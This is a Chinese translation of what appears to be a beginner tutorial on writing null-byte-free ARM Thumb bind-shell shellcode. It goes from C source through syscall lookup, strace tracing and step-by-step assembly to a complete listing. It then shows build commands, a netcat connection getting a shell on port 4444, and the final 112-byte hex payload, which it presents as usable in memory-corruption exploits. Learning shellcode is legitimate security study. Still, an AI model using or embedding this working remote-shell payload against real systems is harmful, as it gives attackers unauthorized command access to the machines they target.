导语:在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。

在本教程中,你将学习如何编写不包含null字节的tcp_bind_shell,并且可以用作shellcode测试漏洞可利用性。

阅读完本教程之后,你不仅能学会如何编写将shell绑定到本地端口的shellcode,还会了解如何编写shellcode。从bind shellcode到reverse shellcode只需更改1-2个函数,一些参数,但大多数情况下都是一样的。编写一个bind或reverse shell比创建一个简单的execve()shell要困难得多。如果你想从小处着手,可以学习如何用汇编语言编写一个简单的execve()shell,然后再深入到本文更加广泛的教程中。如果你需要复习一下Arm assembly,请参阅我的ARM Assembly Basics教程系列,或 者使用下面这种备忘单:

图片1.png

在开始之前,我想提醒大家的是,我们正在创建的是ARM shellcode,需要建立一个ARM实验室环境。可以自己设置(QEMU Emulate Raspberry Pi )或节省时间,可以下载我创建好的实验室VM(ARM Lab VM)。

了解细节

首先,什么是bind shell?它是如何工作的?使用bind shell,可以在目标机器上打开通信端口或侦听器。然后侦听器等待传入连接,你连接它,侦听器便会接受连接,并允许你shell访问目标系统。

图片2.png

这与Reverse Shell的工作方式不同。使用reverse shell,你可以让目标机器与自己的机器进行通信。在这种情况下,你的机器有一个侦听器端口,它接收来自目标系统的连接。

图片3.png

这两种类型的shell都有各自的优点和缺点,这取决于目标环境。例如,目标网络的防火墙不能阻挡传出链接,更容易阻挡传入链接。这意味着你的bind shell将在目标系统上绑定一个端口,但是由于传入连接被阻挡,你将无法连接到它。因此在某些情况下,最好有一个reverse shell能够利用防火墙不阻挡传出连接的错误配置。如果你学会了如何编写bind shell,那么也就学会了如何编写reverse shell。将汇编代码转换成reverse shell,只需要几处修改就能实现。

要将bind shell的功能转换为汇编的,我们首先需要熟悉bind shell的过程

1. 创建一个新的TCP 套接字 (socket)

2. 将socket绑定到本地端口

3. 侦听传入的连接

4. 接受传入的连接

5. 将STDIN、STDOUT和STDERR重定向到客户端新创建的socket

6. 生成shell

下面是我们用来翻译的C代码。

#include <stdio.h> 
#include <sys/types.h>  
#include <sys/socket.h> 
#include <netinet/in.h> 
int host_sockid;    // socket file descriptor 
int client_sockid;  // client file descriptor 
struct sockaddr_in hostaddr;            // server aka listen address
int main() 
{ 
    // Create new TCP socket 
    host_sockid = socket(PF_INET, SOCK_STREAM, 0); 
    // Initialize sockaddr struct to bind socket using it 
    hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address
    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order
    // Bind socket to IP/Port in sockaddr struct 
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr)); 
    // Listen for incoming connections 
    listen(host_sockid, 2); 
    // Accept incoming connection 
    client_sockid = accept(host_sockid, NULL, NULL); 
    // Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 
    // Execute /bin/sh 
    execve("/bin/sh", NULL, NULL); 
    close(host_sockid); 
    return 0; 
}

第一阶段:系统函数及其参数

第一步是识别必要的系统函数、参数和系统调用号。查看上面的C代码,可以看到,我们需要以下函数:socket, bind, listen, accept, dup2, execve。你可以使用以下命令来计算这些函数的系统调用号:

[email protected]:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall             (__NR_SYSCALL_BASE+102)
#define __NR_socket                 (__NR_SYSCALL_BASE+281)
#define __NR_socketpair             (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall

_NR_SYSCALL_BASE的值是0:

[email protected]:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0

以下是我们需要的所有syscall调用号:

#define __NR_socket    (__NR_SYSCALL_BASE+281)
#define __NR_bind      (__NR_SYSCALL_BASE+282)
#define __NR_listen    (__NR_SYSCALL_BASE+284)
#define __NR_accept    (__NR_SYSCALL_BASE+285)
#define __NR_dup2      (__NR_SYSCALL_BASE+ 63)
#define __NR_execve    (__NR_SYSCALL_BASE+ 11)

每个函数期望参数都可以在linux man页面或者w3challs.com中查看。

QQ截图20180116232846.png

下一步是算出这些参数的具体值。一种计算方法是使用strace查看一个成功的bind shell 连接。strace是一个工具,可以用来跟踪系统调用,并且监视进程与Linux内核之间的交互。让我们使用strace来测试bind shell的C语言版本。为了减少噪音,我们将输出限制为我们感兴趣的函数。

Terminal 1:
[email protected]:~/bindshell $ gcc bind_test.c -o bind_test
[email protected]:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
Terminal 2:
[email protected]:~ $ netstat -tlpn
Proto Recv-Q  Send-Q  Local Address  Foreign Address  State     PID/Program name
tcp    0      0       0.0.0.0:22     0.0.0.0:*        LISTEN    - 
tcp    0      0       0.0.0.0:4444   0.0.0.0:*        LISTEN    1058/bind_test 
[email protected]:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!

图片4.png

这是strace输出:

[email protected]:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0

QQ截图20180116232935.png

现在,我们可以填充空白,并记下需要传递给汇编bind shell函数的值。

第二步:逐步编译

在第一阶段,我们回答了以下问题,以获取汇编程序所需要的所有东西:

1.我需要哪些函数?
2.这些函数的系统调用号是多少?
3.这些函数的参数是什么?
4.这些参数的值是多少?

这一步是关于应用这些知识并将其转换为汇编。将每个函数拆分为一个单独的块,并重复以下过程:

1.标出参数所使用的寄存器
2.找出如何将所需值( required value)传递给寄存器
1.如何将立即数(immediate value)传递给寄存器
2.如何在不直接将#0移入的情况下取消寄存器(我们需要避免代码中的null字节,因此必须找到其他方法来取消寄存器或内存中的值)。
3.如何将寄存器指向内存中存储常量和字符串的区域

3.使用正确的系统调用号来调用函数,并跟踪寄存器内容的变化

1.记住,系统调用的结果将落在r0中,这意味着万一你需要在另一个函数中重用该函数的结果,则需要在调用函数之前将其保存到另一个寄存器中。
2.示例:host_sockid = socket(2, 1, 0) –socket调用的结果(host_sockid) 将在r0中。这个结果在其他函数中重用,比如listen(host_sockid, 2),因此应该保存在另一个寄存器中。

0-切换到Thumb模式

首先使用Thumb模式,以减少使用null字节的可能性。在Arm模式下,指令是32位的,在Thumb模式下是16位。这意味着我们可以通过简单地减小指令的大小来减少使用null字节的情况。回顾一下如何切换到Thumb模式:ARM指令必须是4字节对齐的。将模式从ARM转换到Thumb,通过将1添加到PC寄存器的值,并将其保存到另一个寄存器中,把下一个指令地址(在PC中发现)的LSB(Least Significant Bit)设置为1。然后使用一个BX(分支和交换)指令来分支到另一个寄存器中,该寄存器包含LSB设置为1的下一条指令的地址。这一操作使得处理器切换到Thumb模式。上述所有操作都归结为以下两个指令。

.section .text
.global _start
_start:
    .ARM
    add     r3, pc, #1            
    bx      r3

从这里开始,你将编写Thumb代码,因此需要在你编写的代码中使用.THUMB指令表明这一点。

1-新建一个Socket

图片5.png

这些是我们需要的socket调用参数的值:

[email protected]:/home/pi# grep -R "AF_INET|PF_INET |SOCK_STREAM =|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP 
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP protocol family. 
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

设置好参数之后,你可以使用svc指令调用socket系统调用。此调用的结果将是host_sockid,并将以r0结束。因为稍后我们需要host_sockid,把它保存到r4中。

在ARM中,不能简单地将任何立即数(immediate value)移动到寄存器中。如果你对这一细微差别有更多的兴趣,在Memory Instructions章节中有一个章节(在最后)介绍了这一差别。

为了检查是否可以使用某个立即数(immediate value),我编写了一个很小的脚本(代码不完美,可以不看),叫做rotator.py。

[email protected]:~/bindshell $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.
[email protected]:~/bindshell $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200
[email protected]:~/bindshell $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81

最后的代码片段:

  .THUMB
    mov     r0, #2
    mov     r1, #1
    sub     r2, r2, r2
    mov     r7, #200
    add     r7, #81                // r7 = 281 (socket syscall number) 
    svc     #1                     // r0 = host_sockid value 
    mov     r4, r0                 // save host_sockid in r4

2 -将Socket绑定到本地端口

图片6.png

使用第一个指令,我们将一个包含地址家族、主机端口和主机地址的结构对象存储在文字池里,并使用pc-relative寻址(程序计数器相对寻址法)引用这个对象。文字池是同一部分的内存区域(因为文字池是代码的一部分),其中存储了常量、字符串或偏移量。你可以使用带有标签的ADR指令,而不是手动计算pc相对偏移量。ADR接受一个PC-relative表达式,也就是说,具有一个可选偏移量的标签,其标签地址与PC标签有关。情况如下:

// bind(r0, &sockaddr, 16)
 adr r1, struct_addr    // pointer to address, port
 [...]
struct_addr:
.ascii "x02xff"       // AF_INET 0xff will be NULLed 
.ascii "x11x5c"       // port number 4444 
.byte 1,1,1,1           // IP Address

接下来的5个指令是STRB(存储字节)指令。STRB指令将一个字节从寄存器存储到一个计算内存区域。语法[r1, #1] 表示我们将r1作为基本地址,立即数(immediate value )(#1) 作为偏移量。

在第一个指令中,我们将R1指向内存区域,在该内存区域存储了地址家族AF_INET的值、我们想要使用的本地端口和IP地址。我们可以使用静态IP地址,也可以指定0.0.0.0使我们的bind shell监听目标配置的所有IP,使我们的shellcode更加便携。现在有很多null字节。

同样,我们想要避免使用null字节的原因是为了使我们的shellcode对于漏洞利用是可用的,即利用内存损坏那些可能对null字节敏感的漏洞。一些缓冲区溢出是由于不合理地使用“strcpy”这样的函数而造成的。strcpy的工作是复制数据直到它接收到一个null字节。我们使用溢出来控制程序流,如果strcpy遇到一个null字节,它将停止复制我们的shellcode,我们的开发将无法工作。使用strb指令,我们从寄存器中获取一个null字节,并在执行期间修改我们自己的代码。这样,在我们的shellcode中实际上没有一个null字节,只是动态地将其放在那里。这就要求代码部分是可写的,并且可以通过在链接过程中添加-N标志来实现。

出于这个原因,我们在没有null字节的情况下进行编码,并在需要的地方动态地放置一个null字节。正如在下个图片中所看到的,我们指定的IP地址是1.1.1.1,在执行期间将被0.0.0.0替换。

图片7.png

第一个STRB指令在x02xff中用x00替换占位符xff,以便将AF_INET设置为x02 x00。我们如何知道它是一个被存储的null字节?由于“r2,r2,r2”的指令清除了寄存器,因此r2中包含0。接下来的4个指令用0.0.0.0代替1.1.1.1。除了在strb r2, [r1, #1]之后的四个strb指令,你还可以使用一个单独的str r2, [r1, #4]来完成一个完整的0.0.0.0编写。

移动指令将sockaddr_in结构性长度的字节长度(AF_INET 2字节,PORT 2字节,ipaddress 4字节,8字节填充,总共16字节)放到r2中。然后,我们通过将1添加到r7,将其设置为282,因为r7已经包含了从最后一个syscall中获得的281。

// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr   // pointer to address, port
    strb r2, [r1, #1]     // write 0 for AF_INET
    strb r2, [r1, #4]     // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]     // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]     // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]     // replace 1 with 0 in 0.0.0.x
    mov r2, #16
    add r7, #1            // r7 = 281+1 = 282 (bind syscall number) 
    svc #1
    nop

3-listen传入的连接

图片8.png

在这里我们把以前保存的host_sockid放入 r0。将r1设置为2,r7只是增加了2,因为它还包含从最后一个syscall中获得的282(系统调用)。

mov     r0, r4     // r0 = saved host_sockid 
mov     r1, #2
add     r7, #2     // r7 = 284 (listen syscall number)
svc     #1

4-accept输入连接

图片9.png

同样,我们将保存的host_sockid放到r0。由于我们想要避免使用null字节,所以我们使用的不是直接将#0移动到r1和r2中,而是通过将r1和r2彼此想减来将它们设置为0。r7只增加了1。此调用的结果将是client_sockid,我们将其保存在r4中,因为我们之后不再需要保存在r4中的host_sockid(我们将跳过调用C代码中的关闭函数)。

mov     r0, r4          // r0 = saved host_sockid 
    sub     r1, r1, r1      // clear r1, r1 = 0
    sub     r2, r2, r2      // clear r2, r2 = 0
    add     r7, #1          // r7 = 285 (accept syscall number)
    svc     #1
    mov     r4, r0          // save result (client_sockid) in r4

5 – STDIN、STDOUT和STDERR

图片10.png

对于dup2函数,我们需要syscall调用号63。先前保存的client_sockid需要再次进入r0,并且子指令将r1设为0。剩下的两个dup2调用,我们只需要改变r1并且在每次系统调用之后将r0重置为client_sockid。

/* dup2(client_sockid, 0) */
    mov     r7, #63                // r7 = 63 (dup2 syscall number) 
    mov     r0, r4                 // r4 is the saved client_sockid 
    sub     r1, r1, r1             // r1 = 0 (stdin) 
    svc     #1
/* dup2(client_sockid, 1) */
    mov     r0, r4                 // r4 is the saved client_sockid 
    add     r1, #1                 // r1 = 1 (stdout) 
    svc     #1
/* dup2(client_sockid, 2) */
    mov     r0, r4                 // r4 is the saved client_sockid
    add     r1, #1                 // r1 = 1+1 (stderr) 
    svc     #1

6-生成shell

图片11.png

// execve("/bin/sh", 0, 0) 
 adr r0, shellcode     // r0 = location of "/bin/shX"
 eor r1, r1, r1        // clear register r1. R1 = 0
 eor r2, r2, r2        // clear register r2. r2 = 0
 strb r2, [r0, #7]     // store null-byte for AF_INET
 mov r7, #11           // execve syscall number
 svc #1
 nop

我们在本例中使用的execve()函数遵循的过程与Writing ARM Shellcode教程中的相同,都是一步一步地进行解释。

最后,我们将值AF_INET(0xff将被null替换)、端口号、IP地址以及“/bin/sh”字符串,放在我们汇编代码的结尾的。

struct_addr:
.ascii "x02xff"      // AF_INET 0xff will be NULLed 
.ascii "x11x5c"     // port number 4444 
.byte 1,1,1,1        // IP Address 
shellcode:
.ascii "/bin/shX"

最终的汇编代码

这就是我们编好的bind shellcode。

.section .text
.global _start
    _start:
    .ARM
    add r3, pc, #1         // switch to thumb mode 
    bx r3
    .THUMB
// socket(2, 1, 0)
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2      // set r2 to null
    mov r7, #200        // r7 = 281 (socket)
    add r7, #81         // r7 value needs to be split 
    svc #1              // r0 = host_sockid value
    mov r4, r0          // save host_sockid in r4
// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr // pointer to address, port
    strb r2, [r1, #1]    // write 0 for AF_INET
    strb r2, [r1, #4]    // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x
    mov r2, #16          // struct address length
    add r7, #1           // r7 = 282 (bind) 
    svc #1
    nop
// listen(sockfd, 0) 
    mov r0, r4           // set r0 to saved host_sockid
    mov r1, #2        
    add r7, #2           // r7 = 284 (listen syscall number) 
    svc #1        
// accept(sockfd, NULL, NULL); 
    mov r0, r4           // set r0 to saved host_sockid
    sub r1, r1, r1       // set r1 to null
    sub r2, r2, r2       // set r2 to null
    add r7, #1           // r7 = 284+1 = 285 (accept syscall)
    svc #1               // r0 = client_sockid value
    mov r4, r0           // save new client_sockid value to r4  
// dup2(sockfd, 0) 
    mov r7, #63         // r7 = 63 (dup2 syscall number) 
    mov r0, r4          // r4 is the saved client_sockid 
    sub r1, r1, r1      // r1 = 0 (stdin) 
    svc #1
// dup2(sockfd, 1)
    mov r0, r4          // r4 is the saved client_sockid 
    add r1, #1          // r1 = 1 (stdout) 
    svc #1
// dup2(sockfd, 2) 
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 2 (stderr) 
    svc #1
// execve("/bin/sh", 0, 0) 
    adr r0, shellcode   // r0 = location of "/bin/shX"
    eor r1, r1, r1      // clear register r1. R1 = 0
    eor r2, r2, r2      // clear register r2. r2 = 0
    strb r2, [r0, #7]   // store null-byte for AF_INET
    mov r7, #11         // execve syscall number
    svc #1
    nop
struct_addr:
.ascii "x02xff" // AF_INET 0xff will be NULLed 
.ascii "x11x5c" // port number 4444 
.byte 1,1,1,1 // IP Address 
shellcode:
.ascii "/bin/shX"

测试shellcode

将你的汇编代码保存到一个名为bind_shell.s的文件中。在使用ld时不要忘记-N标志,原因是我们使用了多个strb操作来修改我们的代码段(.text)。这就要求代码部分是可写的,并且在链接过程中可以通过添加-N标志来实现。

[email protected]:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
[email protected]:~/bindshell $ ./bind_shell

然后,连接到你的指定端口:

[email protected]:~ $ netcat -vv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

Shellcode可以正常运行!使用以下命令将它转换成十六进制字符串:

[email protected]:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
[email protected]:~/bindshell $ hexdump -v -e '"""x" 1/1 "%02x" ""' bind_shell.bin
x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx12xa1x4ax70x0ax71x4ax71x8ax71xcax71x10x22x01x37x01xdfxc0x46x20x1cx02x21x02x37x01xdfx20x1cx49x1ax92x1ax01x37x01xdfx04x1cx3fx27x20x1cx49x1ax01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx05xa0x49x40x52x40xc2x71x0bx27x01xdfxc0x46x02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

我们成功编写了bind shellcode!这个shellcode长112字节。由于这是一个初学者教程,为了使教程比较简单易懂,所以并没有将shellcode编写的它所能达到的最短。在完成初级shellcode编写之后,你可以尝试找到减少指令数量的方法,从而使shellcode更短。

希望通过本文你学会了一些东西,并且能够运用这些知识来编写自己的shellcode任意变体。

源链接

Hacking more

...